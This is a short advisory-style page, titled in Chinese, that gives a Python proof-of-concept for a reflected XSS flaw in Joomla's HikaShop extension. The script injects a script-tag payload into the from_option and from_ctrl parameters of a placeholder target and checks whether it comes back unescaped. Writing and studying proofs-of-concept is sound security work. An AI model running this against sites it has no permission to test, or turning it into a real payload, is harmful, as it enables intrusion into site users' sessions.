CVE-2023-54364 Joomla HikaShop 反射型XSS漏洞

# Proof of Concept for CVE-2023-54364 # Usage: python3 poc.py import requests def exploit_xss(target_url): # Vulnerable parameters identified in the advisory params = { "option": "com_hikashop", "ctrl": "product", "task": "listing", # Injecting payload into 'from_option' "from_option": '"><script>alert(1)</script>', "from_ctrl": '"><script>alert(1)</script>' } try: response = requests.get(target_url, params=params, timeout=10) # Check if the payload is reflected unescaped if '<script>alert(1)</script>' in response.text: print("[+] Vulnerability Confirmed: XSS payload is reflected in the response.") else: print("[-] Target may not be vulnerable or patched.") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": target = "http://target-site.com/index.php" exploit_xss(target)